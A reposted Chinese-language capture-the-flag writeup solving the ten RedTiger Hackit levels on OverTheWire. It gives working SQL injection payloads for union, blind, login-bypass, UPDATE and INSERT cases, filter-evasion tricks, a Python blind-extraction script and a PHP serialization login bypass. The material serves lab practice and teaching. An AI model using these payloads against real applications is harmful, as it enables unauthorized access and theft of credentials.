Redtiger Hackit Writeup

转载

weixin_30326515 于 2017-08-09 22:54:00 发布 520 收藏 1
文章标签： php 数据库 后端
原文链接：http://www.cnblogs.com/hellow0rd/p/7327361.html
版权

RedTiger's Hackit

Level 1

Welcome to level 1

Lets start with a simple injection.

Target: Get the login for the user Hornoxe
Hint: You really need one? omg -_-
Tablename: level1_users

通过http://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=1 发现cat存在注入漏洞

用order by 得到字段数为4，然后用union select 1，2，3，4 查询得到3，4为回显列。

最终payload：

```
http://redtiger.labs.overthewire.org/level1.php?cat=100 union select
1,2,group_concat(username),group_concat(password) from level1_users
```

Level 2

Welcome to level 2

A simple loginbypass

Target: Login
Hint: Condition

根据题目要求为登陆绕过

在username和password中插入单引号发现password存在注入点

最终payload：

```
username=123&password=123' or '1'='1&login=Login
```

Level 3

Welcome to Level 3

Target: Get the password of the user Admin.
Hint: Try to get an error. Tablename: level3_users
看了别人的writeup才知道用数组显示错误信息

```
usr[]=MDYzMjIzMDA2MTU2MTQxMjU0
```

根据错误信息

preg_match() expects parameter 2 to be string, array given in **/var/www/html/hackit/urlcrypt.inc** on line **25**

下载**urlcrypt.inc**文件

```
<?php

    // warning! ugly code ahead :)

    function encrypt($str)
    {
        $cryptedstr = "";
        srand(3284724);
        for ($i =0; $i < strlen($str); $i++)
        {
            $temp = ord(substr($str,$i,1)) ^ rand(0, 255);

            while(strlen($temp)<3)
            {
                $temp = "0".$temp;
            }
            $cryptedstr .= $temp. "";
        }
        return base64_encode($cryptedstr);
    }

    function decrypt ($str)
    {
        srand(3284724);
        if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
        {
            $str = base64_decode($str);
            if ($str != "" && $str != null && $str != false)
            {
                $decStr = "";

                for ($i=0; $i < strlen($str); $i+=3)
                {
                    $array[$i/3] = substr($str,$i,3);
                }

                foreach($array as $s)
                {
                    $a = $s ^ rand(0, 255);
                    $decStr .= chr($a);
                }

                return $decStr;
            }
            return false;
        }
        return false;
    }




?>
```

这是参数加密解密的算法

所以构造文明payload：

```
' union select 1,password,2,3,4,5,6 from level3_users where username='Admin
```

加密后为：

```
MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2
MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0
MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw
```

Level 4

Welcome to Level 4

Target: Get the value of the first entry in table level4_secret in column keyword
Disabled: like

id存在注入点

根据Query returned 0 rows. 或Query return 1 rows.进行盲注

通过payload：

```
http://redtiger.labs.overthewire.org/level4.php?id=1 and 1=(select length(keyword)=21 from level4_secret)
```

得到keyword 的长度为21

编写脚本：

```
import requests
import string
import re

keword=''
char=string.printable
url='http://redtiger.labs.overthewire.org/level4.php?id=1 and 1=(select ascii(substr((select keyword from level4_secret),{0},1))={1})'
cookie={'level4login':'there_is_no_bug'}
for i in range(1,22):
    for c in char:
        test=url.format(i,ord(c))
        r=requests.get(test,cookies=cookie)
        if re.findall('Query returned 1 rows.',r.text):
            print i,c
            keword+=c
print keword
```

得到keyword

Level 5

Welcome to Level 5

Target: Bypass the login
Disabled: substring , substr, (,), mid
Hints: its not a blind, the password is md5-crypted, watch the login errors

根据题目要求密码进行md5加密

猜想后端的sql语句为：

select username,password from table where username='.inputuser.'

再将得到password 与md5 加密后的输入密码作比较

得到payload：

```
username=' union select 1,md5(1)#&password=1&login=Login
```

Level 6

Welcome to Level 6

Target: Get the first user in table level6_users with status 1

user存在注入点

通过 order by 发现字段数为5

通过user=0 union select 1,2,3,4,5 from level6_users where status=1，显示User not found

在个字段中尝试username

```
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,username,3,4,5 from level6_users where
status=1
```

后面password放在哪里都没有信息，看了别人解答才知道原来是进行了2次sql查询

后台php代码可能为：

```
$sql="select username,password from level6_users where id=1";
$result=mysql_query($sql) or die('<pre>'.mysql_error().'</pre>');
$row=mysql_fetch_row($result);
$username=$row1[1];
$sql2="select username,email from level6_users where username="."'".$username."'"
```

所以payload为：

```
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,' union select 1,2,3,password,5 from
level6_users where status=1#
,3,4,5 from level6_users where status=1
```

根据返回信息 有字符可能被过滤，将payload改成16进制：

```
http://redtiger.labs.overthewire.org/level6.php?user=0 union select
1,0x2720756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768
6572652073746174757333d3123
,3,4,5 from level6_users where status=1
```

得到结果

Level 7

Welcome to Level 7

Target: Get the name of the user who posted the news about google. Table: level7_news column: autor
Restrictions: no comments, no substr, no substring, no ascii, no mid, no like

输入apple'

根据报错信息：

SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%apple'%' OR text.title LIKE '%apple'%')

构造payload：（空格被过滤 可用%09 %0d %a0 代替）

```
search=apple%') union select 1,2,3,4 --%09&dosearch=search%21
```

最终payload：

```
search=1%') union select 1,2,3,autor from level7_news --%a0&dosearch=search%21
```

Level 8

Welcome to Level 8

Target: Get the password of the admin.

经过测试email 存在注入点

根据错误信息可以推测出后台的sql语句：

```
update table set name='inputname',mail='inputmail',icq='inputicq',age='inputage' where id=1
```

mysql中的update的一个用法：A1=A2　A1,A2为同一表中字段则可将A2的值赋给A1

所以构造payload：

```
email=hans%40localhost',name=password,icq=' &name=Hans&icq=12345&age=25&edit=Edit
```

Level 9

Welcome to Level 9

Target: Get username and password of any user. Tablename: level9_users
This is not a blind injection. There is a way to get some output back:)

经过测试发现注入点为text

推测后台的sql语句为：

```
insert into table (autor,title,text) values ('inputautor','inputtitle','inputtext')
```

构造payload：

```
autor=12&title=12&text=213'),((select username from level9_users),(select password from level9_users),'123&post=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
```

Level 10

Welcome to Level 10

Target: Bypass the login. Login as TheMaster

POST 内容为：

```
login=YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9&dologin=Login
```

解码后为：

```
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}
```

为序列化信息

修改序列化信息为：

```
a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}
```

转载于:https://www.cnblogs.com/hellow0rd/p/7327361.html